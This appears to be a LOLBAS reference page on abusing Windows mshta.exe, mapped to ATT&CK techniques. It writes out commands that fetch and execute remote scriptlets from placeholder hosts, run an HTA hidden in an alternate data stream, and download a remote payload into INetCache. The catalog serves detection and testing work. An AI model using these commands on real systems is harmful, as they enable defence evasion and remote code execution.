.. /Mshta.exe
Star

Execute (WSH)
Alternate data streams (WSH)
Download (INetCache)

Used by Windows to execute html applications. (.hta)

Paths:

Resources:

Acknowledgements:

Detections:

Execute

  1. Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

    mshta.exe evilfile.hta
    Use case
    Execute code
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.005
    Tags
    Execute: WSH
    This LOLBAS executes scripts in Windows Script Host (WSH) languages, such as VBScript and JScript.
  2. Executes VBScript supplied as a command line argument.

    mshta.exe vbscript:Close(Execute("GetObject(""script:https://webserver/payload.sct"")"))
    Use case
    Execute code
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.005
  3. Executes JavaScript supplied as a command line argument.

    mshta.exe javascript:a=GetObject("script:https://webserver/payload.sct").Exec();close();
    Use case
    Execute code
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.005

Alternate data streams

  1. Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

    mshta.exe "C:\ads\file.txt:file.hta"
    Use case
    Execute code hidden in alternate data stream
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 (Does not work on 1903 and newer)
    ATT&CK® technique
    T1218.005
    Tags
    Execute: WSH
    This LOLBAS executes scripts in Windows Script Host (WSH) languages, such as VBScript and JScript.

Download

  1. It will download a remote payload and place it in INetCache.

    mshta.exe https://example.com/payload
    Use case
    Downloads payload from remote server
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1105
    Tags
    Download: INetCache
    INetCache downloaders typically store files in a randomly-named folder under %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE, having added [1] or a higher number between the file's name and its extension.
    If you downloaded a file named XYZ.exe, the full path of the downloaded file can be obtained by executing the following command:
    cmd.exe /c "where /r %LOCALAPPDATA%\Microsoft\Windows\INetCache XYZ*"